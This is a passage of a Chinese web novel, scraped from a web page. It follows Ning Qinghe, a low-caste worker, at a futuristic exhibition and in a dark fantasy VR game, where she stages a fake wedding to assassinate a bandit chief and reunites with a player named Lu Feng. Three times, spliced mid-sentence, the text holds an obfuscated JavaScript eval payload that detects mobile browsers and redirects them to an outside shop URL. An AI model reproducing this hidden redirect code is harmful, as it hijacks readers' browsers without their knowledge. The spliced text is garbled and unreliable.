展览会并没有支付车马费,只是预先给了一部分工资作为交通费用,数字也少得可怜。 宁清禾掰着手指头算了算,从她所在的城市去往目的地需要跨越三个大区,能选择的方式只有飞船、星轨、大巴。 前面两者自然快速便捷,但很贵,而且需要停靠转车,不可避免地需要核查智脑芯片。 而作为低劣基因携带者,她不必可少地会被重点关照且隔离,美名其曰风险规避。 所以宁清禾没怎么犹豫,选择了号称小蛇船的穷人友好大巴。它之所以叫小蛇船,就是因为只收钱不问身份,也不走官方大路,像是古时候偷渡的蛇船一样,只需要付钱,看好自己财物,等着到目的地就行。 四天三晚,还省了酒店钱。 出于对大巴准时性的怀疑,宁清禾提前了几天出发,一上车就抱着自己的背包开始睡觉,什么也没去想,只把大巴的颠簸当成漂流冒险,周围的轰鸣想象成了瀑布和猿猴的嘶鸣。 偶尔醒来的时候,宁清禾也会借着大巴车上昏暗的灯看窗外的风景,看看外面的世界。 因为是最下等的劣等基因人种,她住的地方是整片大陆最偏远又荒芜的地方,常年处于电子风暴之下,信号不好,所以过着人们口中远古时代的生活,用的也是基本被世面淘汰的电子器械。 而此次的目的地其实也不算是什么特别发达的城市,算是一个旅游多于发展的二线城市,不然也不会这么积极地举办展览,还大手一挥承包了各家企业前来展览的费用。 直到大巴驶出老城区,宁清禾才发现,原来外面的夜晚全是灯火通明,无数的透明纤维承载着庞大的信息流在高楼之间流淌,像是银河一样,散着荧光,各种形状的玻璃笼在浮轨和建筑群上,遮挡住了来自太空的强辐射光线和未知酸雨以及风暴。 她忽然就明白了老周那句“你还会想着回来吗?” 也明白了课本上对于老城区的描述——遗弃之地。 她第一次这么直观地看见了时代的鸿沟,哪怕这只是一趟通往二线城市的旅途。 下车的时候,同车的许多人都看着面前仿若仙境的银白色都市傻了眼,有些不知所措。 而宁清禾习惯性把包背在身前,按照老周的嘱托,蒙着脸,按照事先查询的路线往目的地去。 一开始的震惊和惆怅退去之后,宁清禾的心中便剩下了一阵庆幸。 她庆幸自己争取到了这次机会,从老家那口古井跳了出来,哪怕只是短暂地一睹这外面的时候又要落回去。 她想,她至少是清醒地见过这些风景,见证这巨大的差距,也切身明白了老周的叹气其中意味。 哪怕她是时代的一粒浮尘,也曾经飘起来,看见过这盘棋局的真面目。 那她好歹也是一粒有见识的浮尘了。 宁清禾到展览会举办方报道的时候已经是下午了,好在举办方的手续很简单,看了眼邀请函就给宁清禾登记拍照,发了临时工牌,告诉了她哪些地区可以去哪些不可以,然后给她传输了一份内部培训指南到她智脑。 宁清禾背着包,一边走着一边看智脑上的文件,惊喜地发现这个举办方包吃包住还包网,不出去额外消费的话基本不需要个人出什么钱,就连工作的休息娱乐以及生病的治疗都考虑到了,配备了相关的场所,规定了开放时间。 如果碰上什么恶劣天气和意外情况,甚至还会有额外的补贴。 对比月休0天还加班加点没有加班费的老家器械厂,宁清禾不由得咂舌,在心中感慨着这个城市的富庶。 留在这里打工的话,也不算忘本吧。 她在心里默默念叨着,疯狂摇摆着,脑子里一半是老周的念叨,一边是员工手册上写的【表现优异者可留任常驻】。 直到撞到行李车的时候,宁清禾骤然从美梦和乡愁中清醒,听到一声呵斥,“你怎么搞得!哪个部门的!不看路吗?!” 宁清禾心中没有丝毫犹豫,全是保住这份包吃包住工作的迫切,立马弯下腰,鞠了个九十度的躬,很想装作日本人说句私密马赛,但是看见对方行李车上的中文铭牌,还是咬着牙说了一句字正腔圆的“对不起,是我的失误,我方才分心了,没有注意到路况,下次不会了。” 行李车旁的随行人员板着脸不是很满意,还行说些什么,顾青侧过头看了一眼,叫停了下属的斥责,视线划过面前的女孩。 她弯着腰,顾青只能看见她浑圆的脑袋,以及脖子下飘荡的工卡。 工卡上的照片被她披散下来的头发遮挡住,顾青只瞧见她名字的开头是个宁,后面两个字模糊不清。 恰好卢枫打电话过来,顾青收回目光,继续往前走,“什么事情?” 卢枫的声音很是疲惫,“你能帮我找她吗,清禾,我实在找不到她了,她像是人间消失了一样。” 6. 游戏 宁清禾提心吊胆了好几天,生怕无意中冒犯到的那行人会投诉自己,然后主办方就通知她走人。 直到后面有一次遇见,她主动上前带路,先前呵斥她的那个人看了她一眼,有些警惕,按照她指的方向走,一句话没说。 宁清禾便知道他们这些贵人压根没记得自己,也没再多事,识相地走远了些,站在角落,看着他们乌泱泱一群人又是检查设施又是排查人员,忙活了好一会儿才点了点头,然后又排成两列,目不斜视,像是人体花篮一样,只为点缀着那个穿着黑色军服的人出场。 那个穿着黑色军服的人宁清禾其实也见过,就是那天撞到行李车的时候对她高抬贵手的人。 那天她弯着腰,只能看见他锃亮的军靴。 今天她倒是瞧见了他的背影,很高很笔直,像是荒原之上的松柏,带着几分高处不胜寒的感觉。 似乎察觉到她的视线,那人要侧过头来,宁清禾便转身退到黑暗里,回宿舍去背此次参展的企业名录和会场布置了。 只要工作没丢就行,她对不是和自己一个世界的人并没有多少的好奇。 这次展览会持续半个月,来参展的企业有上百家之多,产品五花八门,小到微型摄像头,大到数吨重的拆迁智械,几乎涵盖了当下所有行业。 因此请的人也额外多,光是安保就有三百余人,根据不同区域的重要程度进行布控,以防万一,还有警卫队随时待命。 宁清禾这些维修工自然也根据履历和能力分为了分为三个等级,分别在会场的外围、内部,核心地段进行驻扎,时刻配合展览商家进行产品维护,顺便解决一下客户们有可能的维修需求。 宁清禾的临时工卡是黄.色的,自然是最低层级,所以她在展览会上的任务也很简单,检查东南方向的企业产品入库,以及一些潜在客户需求,说白了就是给智能眼镜接个腿,拧拧智脑螺丝,修个车,给电子产品换换屏幕。 总而言之就是十分简单。 据宁清禾观察,此次展览会来的都是有头有脸的人物,大部分都是自己配备了专门的维修工程师,压根不会考虑向她们这些临时配备的人员求助。 虽然有不少同伴因为自己被轻视而愤懑,但是宁清禾是十分开心的。 钱多事少伙食棒,她超级满意! 虽然开心,但她并没有在郁闷的伙伴面前表现地十分明显。 毕竟在他人不开心的时候,不炫耀是一种基础美德。 大多数时候,宁清禾都是一个人窝在自己的空间里,时刻谨记老周的忠告,不多生事端。 但奈何外界的信息一直往她耳朵里钻。 维修工们的宿舍是住在一起的,虽然是胶囊单人间,但是其实也跟大通铺差不多,像是一个大蜂巢一样,极致地切割空间,吃饭娱乐是公用空间。 出于同行之间的惺惺相惜,来自天南地北的维修工很快就互相开始熟起来,聊的话题大同小异,无非都是展会上那些贵客,财团的公子大小姐,军方联邦政府的代表人员,新晋的参议员,明争暗斗,八卦绯闻,比任何一档综艺还精彩。 当然,也有不少男男女女在这种宽松的环境之下看对了眼,甚至擦枪走火,自以为很隐蔽,实则众人皆知。 宁清禾隔壁屋的一对就很不收敛,日日夜夜的,一开始还压着声音,后面逐渐放肆起来。 除了有点打扰睡眠之外,宁清禾倒是没觉得有什么,宿舍区的其他人也大多懒得吭声,调情的调情,打游戏的打游戏。 毕竟在这个以进化为口号的纪元里,所有的劣等基因携带者都默认是弃子,随时可能死去,毫无作用,像只蜉蝣一样,朝生暮死,谁也没想过有什么未来,所以只管享受当下就好了,道德,原则,一切世俗的条条框框在短暂而虚无的生命面前显得贫瘠苍白。 倘若遇见不错的人,宁清禾也是不介意来一场露水情缘,只求当下,不要未来。 可惜她眼光太高,最挑的就是颜值,她想要高挑的身材好而不夸张的,颜值干净舒服而不能有一点瑕疵。 当然,对方也不能素质低下,不能动不动爆粗口,也不能情绪化,学识不能太低显得愚蠢,举止不能显得畏畏缩缩,也不能太过自信令人作呕。 虽然宁清禾觉得自己道德感并不是很高,但是她也不能接受对方男女关系复杂,毕竟她可不想和突然冒出来的情敌在街上互相撕扯头发。 另外,她也不能接受对方心里藏着个白月光或者朱砂痣,哪怕只是单纯的肉.体关系,她也不想在原始的欲望中掺杂另外一个女人的头发。 她知道自己的要求严苛而不现实,也知道自己的出生跟在泥地里没什么区别,但她就是想仰着头,要一轮纯洁无瑕的月亮,丑了臭了脏了,她都不要。 老周也是知道宁清禾这点的,总是摇着头说她不切实际,普通人哪有这么完美无缺,只有进化的人种才会满足她的条件。 但进化的人种又是因为阉割了情爱才显得完美,无法成为她的情人。 想到老周在渡口说的那些话,又想到这些日子见到的那些外表完美而只能远观不能亵玩的进化人种,宁清禾不由得叹了口气,在隔壁屋里一口一个“我爱你!”的尖叫声中戴上了脑机,点开了她许久没登陆的游戏。 上次她是在一个传送点下线的,所以这次她可以自由地选择自己的登陆地点。 宁清禾的视线在地图上转了一圈,最后选择了那个一片黑暗而且地形复杂的登陆点。 这种地方,一看就很适合当杀手的老巢。 宁清禾的直觉告诉她,这个地方一定就是游戏里的黑市,搞钱的地方。 她点击了确定,闭上眼睛,沉入游戏之中。 再睁眼的时候便是在一片漆黑的森林里,茂密的树叶遮住了天空分不出白天还是夜晚,树木的枝干仿佛也是黑的,像是一根根铁丝一样竖着,看不见尽头,地上铺着一层厚厚的落叶,潮湿阴冷,像是暗涌的海,仿佛往前迈一步就会被吞噬。 一阵风吹过,树梢上蓦地飞起一片乌鸦,发出尖锐嘶哑的叫声。 宁清禾把感官直接拉满,听着周围的风声,远方的水声,闻着空气中交杂的气味,树叶腐烂的味道,鸟粪的味道,动物血肉的腥臭味。 很快她便选定了一个方向,在这漫无边际的黑色森林中找到了一条人迹明显的路,又打开背包,拿出了只剩两颗子弹的手枪,绑了一把匕首在腰间,将头发扎了起来,这才踏上了这条未知的路径。 这次宁清禾的运气不错,路的尽头是一座木屋,各式样的背刀客和蒙面人出出进进,腰上别着枪,姿态却极为放松,偶尔遇见了,也不怎么打招呼,一看就很是不熟。 至少证明这不是一个据点。 但出于谨慎和火力不足,宁清禾还是学着他们的模样蒙着脸,从包里拿出一盒子珠宝拿黑布罩着提在手里,慢吞吞地在路边走着,仿佛在想什么事情,实则竖起耳朵在使劲偷听旁边行人的话。 “最近好奇怪啊,都没什么人接单子了,还是第一次这么多单子,以前来晚了压根都没单子能接。” “你是不是没看论坛啊,现在大家都在找清禾,要是能抓到她,一下子几百万呢,这些小单子好多人都看不上了。” “我倒是觉得她是个烫手山芋。那些大佬都在找她,还有她老公,虽然她身价高,但是真要抓住了,交给谁都不对,另外那些不全得罪了吗。再说了,论坛里不是都分析了吗,她完全是满级大佬开小号来炸鱼塘的,过去抓她就是送命吧。游戏里死了虽然能重开,但是装备和钱财都清零,还是谨慎一点吧,我们捞小钱就行,大鱼就别想了。” 宁清禾听到路人口中ID先是脚步一顿,内心一凉,直呼这么久了,为什么这件事情还没有过去。 后面听到什么身价几百万,又是老公又是满级大佬,一颗心又稳稳落地。 那绝对不是她,首先,她才刚刚注册这个游戏,应该没这么值钱,其次,她没老公,最后,她不是大佬。 她就杀过一个人,在排行榜的尾巴尖尖那里,如果这都算大佬,只能说这个游戏完了,大佬严重贬值。 她什么都不知道的情况下随便杀了个人就触发了通缉,这么容易,想来这个游戏里应该全服通缉的人数量挺多的。 宁清禾这样安慰着自己,走进了木屋。 跟她所想的一样,这个地方是杀手接单的地方,墙上张贴着各式各样的悬赏,清楚写明了要杀的目标和价格。 宁清禾走慢了点,给后面的人让出路来,看着绑着脏辫的花脸少女急急忙忙到了柜台前摇了摇铃,朝走出来的瘦长NPC指了指,然后NPC揭下几张纸,盖了戳,交给花脸少女。 学习完流程之后,宁清禾也走了上去,看着贴满告示的墙壁,上面的高价悬赏基本都已经显示有人接单了,剩下的都是一些钱不多还难搞的,恶霸和土匪也就算了,还有许多非人物种,什么狼妖蝎子蛇人,看得宁清禾两眼一黑。 地狱级的难度,白菜的价格。 她挑挑拣拣许久,选中了三张价格和难度看起来还能接受的,摇了摇铃。 苍白瘦削的NPC穿着一身黑色长褂从漆黑的休息隔间里走出来,眼睛弥漫着一种诡异的幽绿色,像是剧毒生物的复眼一样,对视上的一瞬间,宁清禾都有些晕眩的感觉。 “人类?”NPC打量了宁清禾一眼,有些不可思议,没等她出声回答,便皱眉驱赶她,“不行,你等级太低了接不了悬赏,至少要到三十级选择职业之后你才能来接,你走吧。” “那我要到什么时候才能到三十级啊。”宁清禾趴在柜台上,伸着手试图挽留。 但NPC走得果决,头也不回,只是重复着那句话:“三十级之后。” 宁清禾趴在柜台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407400|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有气无力地点开自己的等级,看着那个刺目的2,觉得未来一片黑暗。 游戏的经验条是一个骷髅形状,宁清禾点了点它,上面出现一句话:【鲜血与杀戮才能铸造臣服。】 宁清禾幽幽叹了口气,不由得在心里想:真不愧是暗黑向游戏,这是逼着人为非作歹啊。 但她也没有离开,蹲在木屋旁边的草丛里,试图再碰碰运气,看看有没有那种接了任务做不过来的。 她想主动去为对方分忧,只收取微薄的报酬。换句话说,就是做外包。 做不了正职杀手没关系,她做外包经验可丰富了。等级上去了,再正式接单也不要紧。 但宁清禾蹲了半天,也没再蹲来新接单的杀手,只蹲来了一个拿着黄色悬赏单的白发青年。 宁清禾看见那个黄色悬赏单眼前一亮,也不管价格,上前朝青年一笑,“暧,朋友,你这个单子好像没完成啊,是不是很苦恼,要不要找人帮忙,我啊,我经验很丰富的,你别看我等级低,我这是小号,急着升级,所以最近义务接单,来着不拒。” 白发青年看着宁清禾头顶的Level2,把单子给了她,丧着一张脸开口:“我不是杀手,我是来发布悬赏的,这个没人接,你想要就拿去好了。” 宁清禾低头一看, 【悬赏目标:黑云城寨寨主,ID:【烈风】等级79,战力12700,穿有金甲,两条命。 悬赏原因:杀妻之仇。 悬赏金额:4云贝】 宁清禾眨了眨眼,金额确实是4没错。 她好像知道为什么没人接了。 算了,没得选了。 “他是个恶人对吧?”宁清禾把悬赏单卷吧卷吧放进裤子口袋。 白发青年“嗯”了一声,低着头也不愿意多说了,仿佛她接也行,不接他就去找其他人,主打一个看破红尘无所谓。 宁清禾也不找他闲聊,只是有一搭没一搭问他些任务相关的问题,“他都是个寨主了,肯定一大堆小弟吧?” “嗯。” “大哥都这样了,下面的小弟是不是平时也挺坏的?” “嗯。” “你找过很多人吗?” “嗯。” “他是不是很难杀,所以一直没人接啊?” “嗯。” “我要是不接,你就继续每天来这里找人发布悬赏吗?” “嗯。” “你很爱你的妻子吧。” “嗯。” “如果我给你报了仇,你还打算活下去吗?” 他不说话了。 宁清禾叹了口气,觉得这单似乎得烂在她手里了,不然她良心过不去。 临去黑云城寨之前,宁清禾打开了世界频道,从自己的三十万巨款中抠出一百,然后在世界频道发了一个金色至尊喇叭: 【我是清禾,想找我的人,黑云城寨等你们。Q,你还记得我吗,你的三十万在我这里,如果你不来,它们就会被我花光。】 发完之后,宁清禾就点击了传送,在消失之前,她回头看了一眼低着头不吭声的白发青年,“哎,我不一定能完成任务,你先活着吧,等我报完仇再说。” 白发青年还是不说话。 而世界频道炸开了锅。 【我没看错吧?清禾?!是那个清禾吗?身价两百万那个?】 【楼上,两百万是一个月之前的价格了,现在所有的人都加码了,她已经是尊贵的四百万身价了。她男朋友找她都找疯了,单开150万了都,说了,谁也不许动她,也是有幸当了一回豪门霸总文的路人了,刚刚去把这个信息截图发给她男朋友了,真的到账五万了。】 【我现在也去发!】 【大佬这一个月干嘛去了,凭空出现凭空消失,冷不丁就去黑云城寨了,那地方可不兴去啊,老妖怪是个大色鬼来着,最喜欢抢人妻了,简直妖怪界曹操来着。】 【刚刚遇见Q了,他在去黑云城寨的路上了,单子都不接了,直接转给我了,第一次见Q这么火急火燎。】 【要是有人抢了我三十万,我比Q还急,我能连夜飞过去。】 【Q不缺钱吧,三十万对他也就洒洒水吧。】 【你们懂什么,这是杀手的尊严!钱可以不赚!不可以抢单!这是没有道德的!我们杀手也是很有原则的!】 【不是,你们为什么都在聊Q啊,她男朋友ID不是叫秋枫吗,有没有人在乎一下秋枫的感受啊,女朋友消失一个月之后单独在世界频道给另外一个男人发喊话,甚至要靠路人转播才知道女朋友上线了。】 【这么一说......嘶,这三位,什么关系啊。】 【好想参观,但不敢,怕被杀。秋枫这一个月也是疯了一样,简直变了个人,到处乱杀。】 【现场转播,现场转播,Q和秋枫撞上了。】 7. 游戏 顾青收到卢枫再度登陆游戏的消息时候正好在签署基因匹配书。 不出意外的话,他半年之内就会收到联邦的基因匹配结果,然后和联邦指定的女性一起签署基因培育知情同意书,通过试管培育一个基因结合的后代。 这是当下普遍的新人类培育方式,有时候因为供求关系的不稳定,一名男性或者女性会成为多个基因培育体的父亲或者母亲,所以联邦并不会要求基因培育体的上一代缔结什么一对一的关系,甚至不强求他们相处。 基因培育体的成长过程也不需要父体和母体的陪伴,会有国家专门的机构统一进行管理培训,长大之后经过考核决定去留。 如果没有什么意外情况的话,他和基因培育的子代以及匹配的女性对象应该是一辈子没什么交集的,短暂地完成这个任务,然后回到自己的位置上各司其职。 顾青并没有觉得有什么不对,因为大多数人都是这么长大的,他,叶凛,洛禾,都是如此。 唯独卢枫情况特殊些,因为他的母体是个劣等基因携带者,还曾经抚育过卢枫一段时间,给他灌输了一些新人类视为疾病的东西,比如关爱,比如感情。 纵使后来联邦消除了那段记忆,那些东西依然像是病毒一样种在卢枫的潜意识里,使得他时常会做出一些荒唐的事情来。 但跟现在比起来,顾青觉得以前的卢枫甚至有些值得怀念。 自从上次他拒绝了卢枫帮他找人的请求之后,卢枫变得有些固执而孤僻了,很少跟他们说话,训练时常缺席,专注力测试也是堪堪擦线通过。 顾青自然是知道原因的,那个一面之缘的游戏玩家,突然的告白,猝不及防的吻。 但是顾青无法理解卢枫这样的转变,他甚至已经开始考虑要不要更换队员,体面地劝退自己亲手招进来的这位伙伴。 对于军人,对于新人类来说,无法自控,能力快速衰退,这就是淘汰的信号。 物竞天择,适者生存。这是这个时代的默认教条罢了。 本来顾青想直接忽略掉卢枫登陆游戏的信息,毕竟短短一个月,卢枫已经登陆七十八次了,他实在有些失去耐心。 卢枫上线做些什么他也能预料到,无非是发布公告,询问路人,然后蹲在那片废土上,抱着头,一边咒骂一边怀念【清禾】。 有许多次,顾青都觉得卢枫应该去做一个精神状态检测。 他正要点击忽略,看见信息部传输过来的字符里夹带着世界频道里的一句讨论:【卧槽,清禾真是不出来则已,一出来必搞大事情,她居然投到老妖怪阵营了,难道她看不出来对方是个大色鬼,还邀请追杀她的那些帮派来见证,她疯了吧。】 顾青点击拒绝的动作一顿,站起身将文件交给助理,起身走到露台,接通了卢枫的游戏画面。 卢枫正在和一个黑色头发打扮得像是野战军的男人打架,一边打一边咒骂,“你离她远点,三十万我替她还了,要是不够我出六十万,九十万一百二十万都可以,你不许找她。” 对面的人斜斜看了卢枫一眼,“我和她的事情,你不能决定。” 卢枫有些跳脚,“我凭什么不能决定,我是她的男朋友!” 黑发的男人声音很淡,似乎并没有什么波澜,“这个游戏没有男朋友的存在,她也从未说过你可以还她的债,如果你真的有那么重要,她为什么在公告喊话中对你只字不提。” 卢枫不说话了,从背后抽出长刀,上前拼命。 顾青看着,不由得在游戏外扶额叹气。 找了【清禾】一个月,对方好不容易出现了,卢枫就在这里跟一个陌生人浪费时间。 显而易见,卢枫的情绪完全被对方的话语操控了,现在已经失去了理智,像是发狂的半兽人一样粗鲁,只凭本能。 低效而毫无进度,完全是错误的选择。 顾青很想切换镜头画面,但是目前只有卢枫的游戏监控视角。 他只能坐在露台的椅子上,一边处理公务,一边等卢枫打完架。 最后还是明智的对方选择了结束这场没必要的斗争,飞速赶去找目标对象,卢枫才想起来他的上线目的,慌忙也赶去了黑云城寨。 他浪费了太多的时间,赶到的时候,正好碰上黑云城寨的寨主【烈风】和【清禾】大办宴席,各个帮派的使者乌泱泱站在台子下面,看着【烈风】和【清禾】穿着一身红衣站在台上,牵着手相视而笑,看起来仿若神仙眷侣一般。 卢枫的视线紧紧地锁定着【清禾】,于是顾青也被迫放弃了全局视角,而是把目光落在笑着的【清禾】身上。 跟卢枫这一个月的憔悴不安相反,她看起来容光焕发,眼睛里都闪着明亮的光彩,一袭红裙站在面色青绿的丑陋寨主身边更是显得娇艳无比,完全阐释了什么叫绿叶配红花。 卢枫咬紧了牙,整个人身体几乎都在颤抖着,打从喉咙里发出一声呜咽。 顾青在游戏外坐着,看着清禾这种没心没肺的样子若有所思。 这种单方面的注视被一道破空之声打断。 宁清禾当即尖叫起来,做出一副惊恐的模样,吸引了所有人的注意力。 于是,四面八方的人和兽人都看见了插在【烈风】胸口的那支箭,箭羽还在颤抖着,箭身已然大半没入【烈风】的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407401|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸膛。 烈风的眼睛还睁着,却维持不住人形,数百只步足从身体两侧长出来,刺破了衣服,面容也开始扭曲,变成了只青绿色的大蜈蚣的模样,直挺挺地倒下去,在台子上砸出一个洞来,尘土飞溅,台子上那些匣子滚落一地,各个势力的使者连忙去抢,乱做一团。 卢枫连忙上前,顾不得地上散落的那些贵重匣子,也顾不上烈风尸体流出来的青绿色毒雾,直接冲进了废墟之中。 然后卢枫便看到宁清禾举起匕首,稳准狠地刺进【烈风】的胸膛,游戏等级顿时从2直接跳到19,无数金色的物品从【烈风】身上蹦出来,散落一地,一一被她收入囊中,一人独吞。 卢枫点开了游戏面板中【烈风】的头像,此时此刻,这只作恶多端的蜈蚣精才显示了死亡,击杀者:【清禾】。 他一下子明白过来了,游戏外的顾青自然也明白过来了。 这一场婚礼不过是为了她的刺杀做的铺垫,先前那支莫名其妙的箭大概也是她放的,故意混淆视听,用那些急着抢宝的帮派来消耗【烈风】的手下,然后她坐收渔翁之利。 投诚是假的,婚礼是假的,言笑晏晏也是假的,烈风对她见色起意强取豪夺大概也是她故意设计的。 什么都在她的计算之中。 利用【烈风】祸水东引,将那些宝贝放在明面上引发帮派争夺甩脱追杀,又临时反水再收割一个大人头快速升级积攒装备,一石二鸟。 所有人都是她的棋子而已。 宁清禾低头捡着大蜈蚣爆出的装备,又拿刀割下了他的毒囊,搜刮了一圈,确定没什么再可以收入背包的东西才收起了刀打算溜之大吉,这才发现了站在一边安静地像个影子一样的人。 他头上身上满是灰尘,脸也脏脏的,看不出模样来,只是幽幽地看着她,“你的算计,真好啊,比我现实里的队长还阴险。” 宁清禾完全不知道他是谁,听他感慨又讥讽的语气,不由得想:在这个游戏里,大概只有一个人跟她存在着真真切切的个人恩怨了。 那就是被她抢了三十万的大冤种。 没别人了。 宁清禾朝他露出一个友好的笑来:“你就是Q啊,你好,我是宁清禾,很高兴见到你。” 卢枫一时间没有说话,而游戏外的顾青垂下眼,叹了口气,在心里想着,出于这么多年的队友情谊,或许他要给卢枫请一个心理医生了。 另外,或许他也应该开个号去看看这个游戏的情况了,非人种族,半兽人,野战军,那些熟悉的帮派花纹,这个游戏里有太多太多出乎他意料的存在了。 尤其是【清禾】。 8. 游戏 宁清禾察觉到自己喊出“Q”的那一刻,站在对面的人忽然之间眼神凌厉了起来,带着些不可置信的痛楚和恨意,像是拂开一层厚厚的灰土,结果露出的铁锈斑斑的尖锐钢筋,一不小心就会刺破她的手指。 宁清禾顿了顿,不再说话,看着他像是小狗一样甩了甩头,擦了擦脸,露出一张似曾相识的面庞来。 “啊!是你呀!”宁清禾这么说着,其实并没有想起来。 但瞧着面前人阴郁的神情,她不得不装出一副已经想起来的模样,往前迈了一大步,凑到他面前,似乎很是惊喜的模样,左看看,右看看,在大脑一片空白之下眨巴着眼睛,背着手开口道:“你变了好多,我都没认出来。” 卢枫低头看着她,觉得自己的胸口像是被风吹着的纸灯笼,飘来晃去,呼啦响个不停。 “你这段日子去哪里了?” 宁清禾觉得这个声音也有些熟悉,但离想起来还差了那么一点。 她不由得开始套话,“你不会在找我吧?这么久了,居然一直记得。” 卢枫这些日子以来的郁闷不安似乎被她这句话打开了阀门,倾泻而出,声音都不自觉带上了些许的委屈:“嗯,一个月零三天,我一直在找你。” 宁清禾顺着这个时间往前推,愣了一下,那不就是她刚刚登陆游戏的时候吗? 那时候她就遇见了六个人,一个被她一枪爆头,三个人被她打昏,一个人蒙着脸。 还有一个被她强吻了之后完全地遗忘了。 毕竟他们认识的实在短暂而仓促,那个吻也是玩笑多过于真心。 对于宁清禾来说,它不过是段无足轻重的小插曲而已,没头没尾,也没必要铭记,也没想到会有重逢的一天。 宁清禾这下是真认出来了,也是真的愣住了,“你之前不是粉色头发吗?怎么染蓝了。” 卢枫不懂她为什么突然问这个,但还是回答了:“心情不好,就换了。” 他等着宁清禾问他为什么心情不好,想好了要把这些日子以来的事情都说给她听,那些看不见尽头的等候,以及奔波之中顺手帮她解决掉的一些麻烦。 但是宁清禾没有问他心中的那个问题。 她安静地看着他,目光平静而悠长,像是午后穿过玻璃的那束阳光一样,从遥远的天边穿过千万里落在他的面前,轻轻地开口问他:“你为什么要找我?” 卢枫想说的那些话顿时都失去了意义,卡在他的喉咙里,下不去,也说不出。 他站在原地,有些茫然地看着宁清禾,既不知道她为什么这么问,也回答不上她的这个问题。 想做就做了,哪有什么理由。 这也需要理由吗? 在卢枫的困惑中,宁清禾踮起脚,贴着他的胸膛,一双清亮的眼睛仰头看着他,仿佛看进了他的心底。 就连她的声音,似乎也变得空灵遥远,仿佛在天边,又仿佛在眼前。 他过了一会儿才反应过来宁清禾贴着他耳朵问他的话。 “你是喜欢上我了吗?” 卢枫愣住了,许久没有回答,只有心跳怦然作响。 他许久没说话,过了一会儿抿了抿干裂的嘴唇,睫毛颤抖着,低声问她:“什么叫喜欢?” 他的眼睛里一片赤诚而空荡,像是落了一片洁白的雪,茫茫一片,什么也没有,任她涂抹。 “喜欢很复杂,一时半会我也说不清楚。”宁清禾伸出手,揽住了卢枫的脖子,方才握着刀的细长手指摁在他的动脉上,在他唇上又落下一个吻,很轻,很慢,像是潺潺流水一般流淌而过,又作势要离去。 卢枫下意识去揽住了宁清禾的腰,似乎这样就能把她抓住,将她挽留。 宁清禾也没有挣脱,顺着他这一番动作靠在他的胸口,仰头看着他,问他:“我对你这样,你是开心还是不开心?” 她的眼睛里满是狡黠和得意,像是漆黑的天幕里镶嵌着的碎星,亮闪闪的,又像是张开的巨网,毫不掩饰目的。 卢枫的理智短暂地和他的本能互殴着,下意识地想抱紧她,又觉得自己应该拒绝她。 拒绝旧事重演,拒绝被她操控,拒绝她这么轻飘飘地一笔带过一个月的消失,对他的不闻不问。 队长和伙伴们说得没错,他是一名战士,应该有自己的尊严和头脑。 而不是像落水狗一样,失魂落魄,被一个没见过的人牵着鼻子走。 至今他都不知道她到底是什么身份,到底在干些什么。 十分钟之前,他还亲眼见到她杀了宣誓效忠的对象。 卢枫闭上了眼睛,回抱住宁清禾,很小声地回答:“开心的。” 宁清禾笑起来,“那你还生气吗?” 卢枫闭口不答,仿佛在坚持自己最后的底线。 直到宁清禾贴上来,轻轻地蹭了蹭他的脸,像是撒娇一般,笑眯眯地对他说:“如果不生气了,我就再亲你一下。生气的话,那我就走开,等你不生气了我再回来。” 卢枫觉得自己就像一个失灵机器人一样,遥控器在宁清禾的手里,无法自控,无法平息。 他心中分明还存着许多的怨闷苦恼没有宣泄,此刻只能咬着牙自己吞了,把脸往她颈窝一埋,闷闷开口:“嗯,不生气了。” 宁清禾顿时笑起来,侧过头来捧着他的脸,又亲了一下,没有什么亲昵和温柔,只是一种单纯的奖励,从他的唇上划过,而后便消逝。 卢枫不由得喉咙滚动,想起从前他跟队友一起去沙漠参加极地训练,几乎在沙漠中渴死,中间他们曾经找到树根,挤出汁液,本来想解渴,结果那滴水草草润了唇就没了,不仅没能解渴,反而加剧了那种焦渴感,使他们的神经更加地错乱。 于此刻而言,宁清禾这个吻就是那滴荒漠里的水,不仅没使他餍足,反而使他更加地渴求。 “我还想要。”卢枫低着头,攥紧了宁清禾的衣摆,诚实地说出了自己的需求。 宁清禾眼睛睁大了些许,似乎有些惊讶,还没有想好怎么回答,蓦地听见背后传来一声:“我也要。” 宁清禾身体一僵,猛然回头,看见一个背着长刀的男人站在横梁之下。 她的第一印象是他很高大,像座小山一样,几乎把外面漏进来的光完全遮住了, 然后才注意到这个男人一身灰绿色的作战服,但材质显然比她身上不知道高出多少个档次,严丝合缝地贴着身体,脸上还戴着一张黑色的金属面具,将脸遮得严严实实,唯独露出一双苍蓝色的眼睛,直勾勾地看向宁清禾,冷淡又直白。 锋利又尖锐,但他不出声的时候,又能和环境融为一体,隐匿掉他这庞大身形的存在感。 宁清禾很确定,刚刚她完全没有听到任何脚步声,也没有感受到任何的危险。 即使这个男人就站在这里,离她不到五米,抬手就可以杀了她。 她不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 